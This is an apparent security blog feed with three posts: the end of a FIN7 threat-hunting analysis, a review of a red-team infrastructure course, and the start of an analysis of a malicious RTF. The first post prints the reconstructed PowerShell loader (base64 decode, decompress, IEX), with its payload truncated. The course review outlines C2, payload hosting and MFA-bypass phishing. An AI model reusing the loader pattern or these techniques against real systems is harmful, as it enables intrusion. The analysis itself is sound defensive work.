</span></span><span style="display:flex;"><span>SidType<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>SourceName<span style="color:#f92672">=</span>Microsoft-Windows-PowerShell
</span></span><span style="display:flex;"><span>Type<span style="color:#f92672">=</span>Warning
</span></span><span style="display:flex;"><span>RecordNumber<span style="color:#f92672">=</span><span style="color:#ae81ff">8535</span>
</span></span><span style="display:flex;"><span>Keywords<span style="color:#f92672">=</span>None
</span></span><span style="display:flex;"><span>TaskCategory<span style="color:#f92672">=</span>Execute a Remote Command
</span></span><span style="display:flex;"><span>OpCode<span style="color:#f92672">=</span>On create calls
</span></span><span style="display:flex;"><span>Message<span style="color:#f92672">=</span>Creating Scriptblock text <span style="color:#f92672">(</span><span style="color:#ae81ff">2</span> of 3<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>KQELvDrDDYa+rKtDAcC9Kd+s8/xqFgexNgm9MsuphHRTlaDZv1rx5hBmtifFuOac5qU11&lt;SNIP&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&#39;</span>@
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$Decoded <span style="color:#f92672">=</span> <span style="color:#f92672">[</span>System.Convert<span style="color:#f92672">]</span>::FromBase64String<span style="color:#f92672">(</span>$EncodedCompressedFile<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>$MemStream <span style="color:#f92672">=</span> New-Object System.IO.MemoryStream
</span></span><span style="display:flex;"><span>$MemStream.Write<span style="color:#f92672">(</span>$Decoded, 0, $Decoded.Length<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>$MemStream.Seek<span style="color:#f92672">(</span>0,0<span style="color:#f92672">)</span> | Out-Null
</span></span><span style="display:flex;"><span>$CompressedStream <span style="color:#f92672">=</span> New-Object System.IO.Compression.DeflateStream<span style="color:#f92672">(</span>$MemStream, <span style="color:#f92672">[</span>System.IO.Compression.CompressionMode<span style="color:#f92672">]</span>::Decompress<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>$StreamReader <span style="color:#f92672">=</span> New-Object System.IO.StreamReader<span style="color:#f92672">(</span>$CompressedStream<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>$Output <span style="color:#f92672">=</span> $StreamRead
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ScriptBlock ID: 21582107-1a53-41ba-9a55-a11cf70fce1b
</span></span><span style="display:flex;"><span>Path: C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\J</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\s</span>tager.ps1
</span></span></code></pre></div><ul>
<li>Output result script block 3:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>7/14/21
</span></span><span style="display:flex;"><span>8:41:53.000 AM	
</span></span><span style="display:flex;"><span>07/14/2021 01:41:53 AM
</span></span><span style="display:flex;"><span>LogName<span style="color:#f92672">=</span>Microsoft-Windows-PowerShell/Operational
</span></span><span style="display:flex;"><span>EventCode<span style="color:#f92672">=</span><span style="color:#ae81ff">4104</span>
</span></span><span style="display:flex;"><span>EventType<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>User<span style="color:#f92672">=</span>NOT_TRANSLATED
</span></span><span style="display:flex;"><span>Sid<span style="color:#f92672">=</span>S-1-5-21-1598541164-267006594-3813999592-1154
</span></span><span style="display:flex;"><span>SidType<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>SourceName<span style="color:#f92672">=</span>Microsoft-Windows-PowerShell
</span></span><span style="display:flex;"><span>Type<span style="color:#f92672">=</span>Warning
</span></span><span style="display:flex;"><span>RecordNumber<span style="color:#f92672">=</span><span style="color:#ae81ff">8536</span>
</span></span><span style="display:flex;"><span>Keywords<span style="color:#f92672">=</span>None
</span></span><span style="display:flex;"><span>TaskCategory<span style="color:#f92672">=</span>Execute a Remote Command
</span></span><span style="display:flex;"><span>OpCode<span style="color:#f92672">=</span>On create calls
</span></span><span style="display:flex;"><span>Message<span style="color:#f92672">=</span>Creating Scriptblock text <span style="color:#f92672">(</span><span style="color:#ae81ff">3</span> of 3<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>er.readtoend<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span>$Output | IEX
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ScriptBlock ID: 21582107-1a53-41ba-9a55-a11cf70fce1b
</span></span><span style="display:flex;"><span>Path: C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\J</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\s</span>tager.ps1
</span></span></code></pre></div><h4 id="script-reconstruction-process">Script Reconstruction Process</h4>
<ol>
<li>Identified log entries with messages such as:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Message<span style="color:#f92672">=</span>Creating Scriptblock text <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> of 3<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>Message<span style="color:#f92672">=</span>Creating Scriptblock text <span style="color:#f92672">(</span><span style="color:#ae81ff">2</span> of 3<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>Message<span style="color:#f92672">=</span>Creating Scriptblock text <span style="color:#f92672">(</span><span style="color:#ae81ff">3</span> of 3<span style="color:#f92672">)</span>:
</span></span></code></pre></div><ol start="2">
<li>Extracted each script block part.</li>
<li>Reassembled the three fragments into a single PowerShell script (stager.ps1).</li>
<li>Generated a file hash to serve as an Indicator of Compromise (IoC).</li>
</ol>
<h4 id="result">Result</h4>
<ul>
<li>Reconstructed File: <code>stager.ps1</code></li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$EncodedCompressedFile = <span style="color:#e6db74">@&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">7b1pk+LKcjD83RH3P5y4cT/Y0ddusfXAfcMRT5U2JJCgBBJIDn8AAQIklmmgBfz6N7O00sCcnuu&lt;SNIP&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&#39;@</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$Decoded = [<span style="color:#66d9ef">System.Convert</span>]::FromBase64String($EncodedCompressedFile)
</span></span><span style="display:flex;"><span>$MemStream = New-Object System.IO.MemoryStream
</span></span><span style="display:flex;"><span>$MemStream.Write($Decoded, <span style="color:#ae81ff">0</span>, $Decoded.Length)
</span></span><span style="display:flex;"><span>$MemStream.Seek(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>) | Out-Null
</span></span><span style="display:flex;"><span>$CompressedStream = New-Object System.IO.Compression.DeflateStream($MemStream, [<span style="color:#66d9ef">System.IO.Compression.CompressionMode</span>]::Decompress)
</span></span><span style="display:flex;"><span>$StreamReader = New-Object System.IO.StreamReader($CompressedStream)
</span></span><span style="display:flex;"><span>$Output = $StreamReader.readtoend()
</span></span><span style="display:flex;"><span>$Output | IEX
</span></span></code></pre></div><ul>
<li>MD5 Hash:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kali@kali:~/Desktop$ nano stager.ps1
</span></span><span style="display:flex;"><span>kali@kali:~/Desktop$ file stager.ps1 
</span></span><span style="display:flex;"><span>stager.ps1: ASCII text, with very long lines <span style="color:#f92672">(</span>25988<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>kali@kali:~/Desktop$ md5sum stager.ps1 
</span></span><span style="display:flex;"><span>d12fdacbf70273e848219facc444ddbc  stager.ps1 
</span></span></code></pre></div><p>This confirmed that the RAT attempted to stage and execute additional malicious payloads through PowerShell. Logging and reassembling the script allowed us to both analyze attacker intent and derive strong IoCs for detection and hunting.</p>
<h3 id="quick-checklist-recap">Quick Checklist recap</h3>
<ol>
<li>Scheduled Task run time: <code>17:23:35</code></li>
<li>Executable run by the Task: <code>adb156.exe</code></li>
<li>Process ID of the Task’s executable: <code>0x1318</code></li>
<li>Child processes attempting to run PowerShell: <code>3</code></li>
<li>PowerShell script run: <code>stager.ps1</code></li>
<li>MD5 of rebuilt <code>stager.ps1</code>: <code>d12fdacbf70273e848219facc444ddbc</code></li>
</ol>
<h3 id="conclusion">Conclusion</h3>
<p>Post‑compromise activity confirmed a user‑profile loader executing a staged PowerShell that was invoked multiple times. ScriptBlock 4104 logs, when enabled, provide decisive visibility to reconstruct payloads and produce durable IOCs. In Part 3, we’ll follow command‑and‑control behaviors and data access that followed this execution stage.</p>
]]></content></item><item><title>Red Team Infra Dev</title><link>https://blog.redteamshell.com/posts/2025/08/red-team-infra-dev/</link><pubDate>Sat, 30 Aug 2025 08:43:24 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/08/red-team-infra-dev/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/RedTeamInfraDev.png" alt="Red Team Infra Dev">&lt;/p>
&lt;h3 id="my-experience-with-the-crt-id-certification">My Experience with the CRT-ID Certification&lt;/h3>
&lt;p>I recently completed the &lt;strong>Certified Red Team Infrastructure Developer (CRT-ID)&lt;/strong> certification from Cyberwarfare Labs, and I&amp;rsquo;m excited to share my comprehensive review of this unique course. If you&amp;rsquo;re looking to enhance your red teaming skills with a focus on infrastructure development, this might be exactly what you need.&lt;/p>
&lt;hr>
&lt;h3 id="what-is-the-crt-id-course-about">What is the CRT-ID Course About?&lt;/h3>
&lt;p>The &lt;strong>Certified Red Team Infrastructure Developer (CRT-ID)&lt;/strong> is a specialized course designed to equip cybersecurity professionals with the skills to develop OPSEC-safe Red Team infrastructure for both internal and external operations. Unlike many other red team courses that focus primarily on exploitation techniques, this course dives deep into the infrastructure backbone that makes successful red team operations possible.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/RedTeamInfraDev.png" alt="Red Team Infra Dev"></p>
<h3 id="my-experience-with-the-crt-id-certification">My Experience with the CRT-ID Certification</h3>
<p>I recently completed the <strong>Certified Red Team Infrastructure Developer (CRT-ID)</strong> certification from Cyberwarfare Labs, and I&rsquo;m excited to share my comprehensive review of this unique course. If you&rsquo;re looking to enhance your red teaming skills with a focus on infrastructure development, this might be exactly what you need.</p>
<hr>
<h3 id="what-is-the-crt-id-course-about">What is the CRT-ID Course About?</h3>
<p>The <strong>Certified Red Team Infrastructure Developer (CRT-ID)</strong> is a specialized course designed to equip cybersecurity professionals with the skills to develop OPSEC-safe Red Team infrastructure for both internal and external operations. Unlike many other red team courses that focus primarily on exploitation techniques, this course dives deep into the infrastructure backbone that makes successful red team operations possible.</p>
<p>The course teaches you to:</p>
<ul>
<li>Utilize legitimate <strong>cloud and on-premise services</strong> for red team operations</li>
<li>Build <strong>custom redirectors and payload server features</strong></li>
<li>Implement infrastructure that mirrors <strong>real-world threat scenarios</strong></li>
<li>Apply knowledge through an <strong>in-depth Red Team attack case study</strong></li>
</ul>
<hr>
<h3 id="course-structure-and-modules">Course Structure and Modules</h3>
<p>The course is meticulously organized into 6 comprehensive modules, each building upon the previous one:</p>
<h4 id="1-introduction">1. Introduction</h4>
<ul>
<li><strong>Red Team Models</strong>: Understanding both external and internal red team approaches</li>
<li><strong>Modern Red Team Infrastructure</strong>: Overview of contemporary infrastructure components</li>
<li><strong>Red Team Infrastructure Components</strong>:
<ul>
<li>Command &amp; Control (C2) Server</li>
<li>Redirectors</li>
<li>Payload Server</li>
<li>Phishing Server</li>
</ul>
</li>
</ul>
<h4 id="2-command--control-server">2. Command &amp; Control Server</h4>
<ul>
<li><strong>C2 Pools &amp; Selection</strong>: Criteria for choosing the right C2 framework</li>
<li><strong>Mythic Installation</strong>: Hands-on setup of the open-source Mythic C2 framework</li>
<li><strong>Operator Roles</strong>: Multi-operator access and role-based permissions</li>
<li><strong>C2 Profiles</strong>: Configuration files for stealth communication</li>
<li><strong>OPSEC Safe Setup</strong>: Security considerations including SSL certificates, network firewall, traffic redirection, and geo-fencing</li>
</ul>
<p><img src="/images/AWS_Full_infra_Black.png" alt="AWS Infra Full"></p>
<h4 id="3-redirector-setup">3. Redirector Setup</h4>
<p><strong>Cloud-Based Setup (SSL)</strong>:</p>
<ul>
<li><strong>AWS CloudFront</strong>: Leveraging Amazon&rsquo;s CDN for traffic redirection</li>
<li><strong>Azure Front Door CDN</strong>: Using Microsoft&rsquo;s CDN services for operations</li>
</ul>
<p><strong>On-Premise Setup (SSL)</strong>:</p>
<ul>
<li><strong>Nginx</strong>: Manual and automated configuration</li>
<li><strong>Custom Rules Creation</strong>:
<ul>
<li>Directory-based rules</li>
<li>User-Agent based filtering</li>
<li>IP-based restrictions</li>
</ul>
</li>
</ul>
<h4 id="4-payload-server">4. Payload Server</h4>
<ul>
<li><strong>Open-source Setup</strong>: Using <strong>PwnDrop</strong> for payload hosting</li>
<li><strong>Custom Setup</strong>: Nginx with facade files for stealth payload delivery</li>
<li><strong>Legitimate Application Integration</strong>: IPFS and Adobe Portfolio techniques</li>
</ul>
<p><img src="/images/Azure_Full_infra_Black.png" alt="AWS Infra Full"></p>
<h4 id="5-phishing-server">5. Phishing Server</h4>
<ul>
<li><strong>Evilginx</strong>: Advanced phishing framework for credential harvesting</li>
<li><strong>GoPhish</strong>: Campaign management and centralized phishing operations</li>
<li><strong>Multi-Factor Authentication Bypass</strong>: Session token capture and reuse techniques</li>
</ul>
<h4 id="6-red-team-case-study">6. Red Team Case Study</h4>
<p>A complete <strong>full-fledged initial access operation</strong> covering:</p>
<ul>
<li>Infrastructure overview and setup</li>
<li>Implant development using DotNetToJScript</li>
<li>Payload hosting and delivery mechanisms</li>
<li>Email campaign execution through GoPhish integration</li>
</ul>
<hr>
<h3 id="why-i-chose-this-course">Why I Chose This Course</h3>
<p><img src="/images/RedinfraCraft_White.png" alt="Red Infra Craft"></p>
<p>The CRT-ID stands out as one of the <strong>most unique courses</strong> in the red team training landscape for several reasons:</p>
<h4 id="technical-excellence">Technical Excellence</h4>
<ul>
<li><strong>Comprehensive Coverage</strong>: Emphasis on both cloud (AWS/Azure) and on-premise infrastructure setup</li>
<li><strong>OPSEC-Safe Methodologies</strong>: Focus on operational security throughout all modules</li>
<li><strong>Open-Source Focus</strong>: Deep dive into <strong>Mythic C2</strong>, which is compatible with Mac, Windows, and Linux</li>
<li><strong>Commercial-Grade Features</strong>: Mythic offers capabilities comparable to expensive commercial C2 frameworks</li>
</ul>
<blockquote>
<p><strong>Resource</strong>: They have added an automated way to deploy a robust red team infra on their Github you can check it <a href="https://github.com/RedTeamOperations/Red-Infra-Craft" target="_blank" rel="noopener noreferrer">Here</a>
</p>
</blockquote>
<h4 id="practical-application">Practical Application</h4>
<ul>
<li><strong>Hands-On Labs</strong>: Build your infrastructure from scratch using cloud services</li>
<li><strong>Real-World Scenarios</strong>: Infrastructure mirrors actual threat actor methodologies</li>
<li><strong>Expert Instruction</strong>: The instructor demonstrates deep subject matter expertise</li>
<li><strong>Complete Operational Knowledge</strong>: Gain skills to set up fully operational red team infrastructure</li>
</ul>
<h4 id="value-proposition">Value Proposition</h4>
<ul>
<li><strong>Affordable Pricing</strong>: Currently offered at a significant discount ($5 instead of $49)</li>
<li><strong>Excellent ROI</strong>: Substantial knowledge gain for minimal investment</li>
<li><strong>Both Environments</strong>: Comprehensive coverage of cloud and on-premise setups</li>
</ul>
<blockquote>
<p><strong>Pro Tip</strong>: If you&rsquo;re planning the cloud setup track, ensure you have an AWS or Azure account ready. Follow the step-by-step instructions precisely as provided by the instructor.</p>
</blockquote>
<hr>
<h3 id="exam-experience">Exam Experience</h3>
<p>Cyberwarfare Labs recently launched a <strong>new exam format</strong> that significantly improves the testing experience.</p>
<h4 id="new-exam-format-features">New Exam Format Features</h4>
<ul>
<li><strong>Flag-Based Assessment</strong>: No written report submission required</li>
<li><strong>6-Hour Hands-On Exam</strong>: Practical testing of learned concepts</li>
<li><strong>2 Attempts per Enrollment</strong>: Multiple chances for success</li>
<li><strong>Convenient Scheduling</strong>: Easy booking through their Labs Portal</li>
<li><strong>Instant Results</strong>: No waiting period for scoring</li>
</ul>
<p><img src="/images/CRT-ID-Flags.png" alt="CRT-ID Flags"></p>
<hr>
<h4 id="my-personal-exam-journey">My Personal Exam Journey</h4>
<p>I initially scheduled my exam for <strong>August 17th</strong>, but encountered a technical issue where VPN credentials weren&rsquo;t generated in the portal. The support team was responsive and resolved the issue by <strong>August 19th</strong>, allowing me to reschedule for <strong>August 21st</strong>.</p>
<p>The exam went flawlessly:</p>
<ul>
<li><strong>Stable lab environment</strong> throughout the entire session</li>
<li><strong>CTF-style challenges</strong> that directly tested course knowledge</li>
<li><strong>Completed in 1 hour 45 minutes</strong> (out of 6 hours allocated)</li>
<li><strong>All 10 flags captured</strong> successfully</li>
<li><strong>Instant pass notification</strong> - no waiting for results!</li>
</ul>
<p><strong>Credential Link</strong>: <a href="https://labs.cyberwarfare.live/credential/achievement/68a6cf65bf373ee66a20f496" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<p><img src="/images/CRT-ID-Cert.png" alt="CRT-ID Cert"></p>
<h4 id="exam-tips">Exam Tips</h4>
<ul>
<li><strong>CLI proficiency</strong> is essential</li>
<li><strong>Basic bash scripting</strong> knowledge is highly beneficial</li>
<li>The exam maintains a <strong>fun, engaging CTF-style format</strong></li>
<li>All challenges directly relate to course material</li>
</ul>
<hr>
<h3 id="cyberwarfare-labs-red-team-certification-path">Cyberwarfare Labs Red Team Certification Path</h3>
<p><img src="/images/CRT-ID-Path.png" alt="CRT ID Path"></p>
<p>Completing the CRT-ID allowed me to finish Cyberwarfare Labs&rsquo; <strong>beginner to intermediate roadmap</strong>, which consists of four complementary certifications:</p>
<h4 id="1-red-team-infrastructure-developer-crt-id">1. Red Team Infrastructure Developer [CRT-ID]</h4>
<p>Foundational knowledge in infrastructure development - the perfect starting point for your red teaming journey.</p>
<p><img src="/images/CRT-ID-Badge.png" alt="CRT ID Badge"></p>
<p><strong>Credential Link</strong>: <a href="https://labs.cyberwarfare.live/credential/achievement/68a6cf65bf373ee66a20f496" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<h4 id="2-red-team-analyst-crta">2. Red Team Analyst [CRTA]</h4>
<p><em>Completed: September 5th, 2023</em></p>
<p>Focuses on analytical skills and understanding attacker methodologies from a defensive perspective.</p>
<p><img src="/images/CRTA-Badge.png" alt="CRTA Badge"></p>
<p><strong>Credential Link</strong>: <a href="https://www.credential.net/a617dbf4-8e50-4549-ac48-835290a57c28" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<h4 id="3-red-team--credops-infiltrator-crt-coi">3. Red Team – CredOps Infiltrator [CRT-COI]</h4>
<p><em>Completed: September 17th, 2023</em></p>
<p>Deep dive into credential operations, system infiltration, and security control manipulation.</p>
<p><img src="/images/CRT-COI-Badge.png" alt="CRT-COI Badge"></p>
<p><strong>Credential Link</strong>: <a href="https://www.credential.net/070ee18b-c34b-4872-bbc8-ac9147d0f516" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<h4 id="4-red-team-specialist-crts">4. Red Team Specialist [CRTS]</h4>
<p><em>Both CRTSv1 and CRTSv2 completed</em></p>
<p>Advanced penetration testing covering:</p>
<ul>
<li>Web application security</li>
<li>Network penetration testing</li>
<li>Active Directory exploitation</li>
<li>Docker environment attacks</li>
<li>CI/CD pipeline abuse</li>
<li>Unique storylines: Nuclear Simulation (v1) and Electrical PowerGrid (v2)</li>
</ul>
<p><img src="/images/CRT-S-Badge.png" alt="CRTS-V2-Badge"></p>
<p><strong>Credential Link</strong>: <a href="https://www.credential.net/23672386-7b67-49c3-9542-da4e6ee485ca" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<blockquote>
<p><strong>Learning from Experience</strong>: I wish I had taken these certifications in the order specified on their blog post, as each builds upon the previous one&rsquo;s knowledge foundation.</p>
</blockquote>
<hr>
<h3 id="final-thoughts-and-recommendations">Final Thoughts and Recommendations</h3>
<h4 id="what-youll-gain">What You&rsquo;ll Gain</h4>
<ul>
<li><strong>In-Depth Knowledge</strong>: Comprehensive understanding of red team infrastructure</li>
<li><strong>Real-World Skills</strong>: Practical experience with industry-standard tools and techniques</li>
<li><strong>Career Advancement</strong>: Positioning for red team operator/engineer roles</li>
</ul>
<h4 id="why-this-certification-matters">Why This Certification Matters</h4>
<ul>
<li><strong>High Demand</strong>: Red team professionals are increasingly sought after in the cybersecurity market</li>
<li><strong>Resume Enhancement</strong>: Certification validates your practical skills</li>
<li><strong>Career Opportunities</strong>: Opens doors to specialized red team positions</li>
<li><strong>Practical Application</strong>: Skills directly translate to real-world scenarios</li>
</ul>
<h4 id="who-should-take-this-course">Who Should Take This Course</h4>
<ul>
<li><strong>Beginner/Intermediate</strong> cybersecurity professionals</li>
<li>Those looking to <strong>start in red teaming</strong></li>
<li>Professionals wanting to <strong>enhance existing red team skills</strong></li>
<li>Anyone interested in the <strong>infrastructure side</strong> of offensive security</li>
</ul>
<hr>
<h3 id="investment-value">Investment Value</h3>
<p>Cyberwarfare Labs consistently offers <strong>regular discounts</strong>, making their courses accessible without compromising quality. The knowledge gained provides excellent value for career development in the cybersecurity field.</p>
<hr>
<h3 id="conclusion">Conclusion</h3>
<p>The <strong>CRT-ID certification</strong> delivers exceptional value for anyone serious about red team infrastructure development. The combination of theoretical knowledge, hands-on labs, and practical case studies creates a comprehensive learning experience that directly translates to real-world capabilities.</p>
<p>Whether you&rsquo;re just starting your red team journey or looking to specialize in infrastructure development, this certification provides the foundational knowledge needed to build and operate OPSEC-safe red team infrastructure.</p>
<p><strong>Recommendation</strong>: Highly recommended for cybersecurity professionals at beginner to intermediate levels. The affordable pricing, expert instruction, and comprehensive coverage make this an investment you won&rsquo;t regret.</p>
]]></content></item><item><title>Threat Hunting: FIN7 - Initial Access</title><link>https://blog.redteamshell.com/posts/2025/08/threat-hunting-fin7-initial-access/</link><pubDate>Thu, 14 Aug 2025 19:03:54 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/08/threat-hunting-fin7-initial-access/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/FIN7_Blog_post1.png" alt="Fin7_blogpost_1">&lt;/p>
&lt;h3 id="introduction">Introduction&lt;/h3>
&lt;p>Welcome to the first post in my Threat Hunting series. We are starting with FIN7’s initial access tradecraft: a phishing-delivered, weaponized RTF that abuses living-off-the-land binaries and scheduled tasks to get a foothold. This post distills the key artifacts and shows practical hunts you can run.&lt;/p>
&lt;blockquote>
&lt;p>This is Part 1 of my Threat Hunting series. Each post focuses on one phase of an intrusion with practical hunts and response tips.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/FIN7_Blog_post1.png" alt="Fin7_blogpost_1"></p>
<h3 id="introduction">Introduction</h3>
<p>Welcome to the first post in my Threat Hunting series. We are starting with FIN7’s initial access tradecraft: a phishing-delivered, weaponized RTF that abuses living-off-the-land binaries and scheduled tasks to get a foothold. This post distills the key artifacts and shows practical hunts you can run.</p>
<blockquote>
<p>This is Part 1 of my Threat Hunting series. Each post focuses on one phase of an intrusion with practical hunts and response tips.</p>
</blockquote>
<h3 id="what-is-fin7">What is FIN7?</h3>
<p>FIN7 is a Russia-based threat group targeting the US and EU, focusing on sectors rich in payment card data such as restaurants, hospitality, retail, finance, gaming, and travel.</p>
<p>Initial access is typically via targeted spearphishing with Office exploits or embedded executables; they have also mailed BADUSB devices that emulate keyboards to auto-type malware on Windows hosts.</p>
<p>Post-exploitation commonly involves Carbanak for C2 and data theft, and Cobalt Strike for enumeration, lateral movement, and privilege escalation.</p>
<blockquote>
<p>Multiple law enforcement actions since 2018 led to arrests and sentencing tied to thefts exceeding $1 billion.</p>
</blockquote>
<p>Employs broad MITRE ATT&amp;CK-aligned TTPs: spearphishing and supply chain compromise for initial access, living-off-the-land execution and persistence,
privilege escalation via misconfigurations, defense evasion by masquerading as legitimate processes, Kerberoasting for credentials, lateral movement via RDP and SSH, C2 over varied ports, and exfiltration to MEGA.</p>
<blockquote>
<p>Notable campaigns include POS scraping against major US restaurant chains and large-scale heists against 100+ financial institutions worldwide using Carbanak and coordinated ATM cash-outs.</p>
</blockquote>
<p>FIN7 uses a phishing-delivered RTF to establish MS SQL–based C2, persist, move laterally, and exfiltrate card data.</p>
<h3 id="artifact-collection">Artifact Collection</h3>
<h4 id="scenario">Scenario</h4>
<p>You are given a suspicious RTF document. Your goal is to analyze its contents using rtfdump and custom Python to assess maliciousness and extract indicators of compromise (IOCs) for further investigation.</p>
<h4 id="step-1-compute-file-hash">Step 1: Compute file hash</h4>
<p>Generate the SHA-256 hash of the RTF to support integrity verification and enterprise-wide scoping.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kali@kali:~/Desktop$ sha256sum 2-list.rtf 
</span></span><span style="display:flex;"><span>ce08cc99d0827bd9d900cf2e2e26aed3e17ae4f80b010eb6642b9578b3627cf4  2-list.rtf
</span></span><span style="display:flex;"><span>kali@kali:~/Desktop$ 
</span></span></code></pre></div><h4 id="step-2-collect-file-metadata">Step 2: Collect file metadata</h4>
<p>Extract creation and modification metadata, authorship, and other attributes using ExifTool to enrich context and timeline analysis.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kali@kali:~/Desktop$ exiftool 2-list.rtf 
</span></span><span style="display:flex;"><span>ExifTool Version Number         : 11.88
</span></span><span style="display:flex;"><span>File Name                       : 2-list.rtf
</span></span><span style="display:flex;"><span>Directory                       : .
</span></span><span style="display:flex;"><span>File Size                       : <span style="color:#ae81ff">1843</span> kB
</span></span><span style="display:flex;"><span>File Modification Date/Time     : 2022:08:18 23:14:36+00:00
</span></span><span style="display:flex;"><span>File Access Date/Time           : 2025:08:10 11:57:09+00:00
</span></span><span style="display:flex;"><span>File Inode Change Date/Time     : 2025:08:10 11:35:54+00:00
</span></span><span style="display:flex;"><span>File Permissions                : rw-r--r--
</span></span><span style="display:flex;"><span>File Type                       : RTF
</span></span><span style="display:flex;"><span>File Type Extension             : rtf
</span></span><span style="display:flex;"><span>MIME Type                       : text/rtf
</span></span><span style="display:flex;"><span>Author                          : Jen
</span></span><span style="display:flex;"><span>Last Modified By                : Windows User
</span></span><span style="display:flex;"><span>Create Date                     : 2020:06:22 11:08:00
</span></span><span style="display:flex;"><span>Modify Date                     : 2021:06:11 16:19:00
</span></span><span style="display:flex;"><span>Revision Number                 : <span style="color:#ae81ff">14</span>
</span></span><span style="display:flex;"><span>Total Edit Time                 : <span style="color:#ae81ff">36</span> minutes
</span></span><span style="display:flex;"><span>Pages                           : <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Words                           : <span style="color:#ae81ff">83</span>
</span></span><span style="display:flex;"><span>Characters                      : <span style="color:#ae81ff">474</span>
</span></span><span style="display:flex;"><span>Characters With Spaces          : <span style="color:#ae81ff">556</span>
</span></span><span style="display:flex;"><span>Internal Version Number         : <span style="color:#ae81ff">85</span>
</span></span></code></pre></div><h4 id="step-3-extract-embedded-objects-with-rtfdump">Step 3: Extract embedded objects with rtfdump</h4>
<p>Enumerate RTF-embedded objects and export the suspicious payload Windows shortcut (LNK) file for inspection.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kali@kali:~/Desktop$ rtfdump -O -s <span style="color:#ae81ff">1</span> -d 2-list.rtf &gt; lnk_extract.lnk
</span></span><span style="display:flex;"><span>kali@kali:~/Desktop$ strings lnk_extract.lnk 
</span></span><span style="display:flex;"><span>/C:<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>Windows
</span></span><span style="display:flex;"><span>System32
</span></span><span style="display:flex;"><span>mshta.exe
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\S</span>ystem32<span style="color:#ae81ff">\m</span>shta.exe
</span></span><span style="display:flex;"><span>desktop-k2q081j
</span></span><span style="display:flex;"><span>1SPS
</span></span><span style="display:flex;"><span>1SPS
</span></span></code></pre></div><h4 id="step-4-deobfuscate-the-code-blocks-using-our-custom-python-code">Step 4: Deobfuscate the code blocks using our custom Python code.</h4>
<p>FIN7 hides JS/VBS filenames and commands in obfuscated <code>chr()</code> sequences that use math to disguise the ASCII codes, to deobfuscate that we created a fully automated decoder that:</p>
<ul>
<li>Reads the RTF directly</li>
<li>Extracts all chr() expressions (including math)</li>
<li>Outputs the decoded string in one go</li>
</ul>
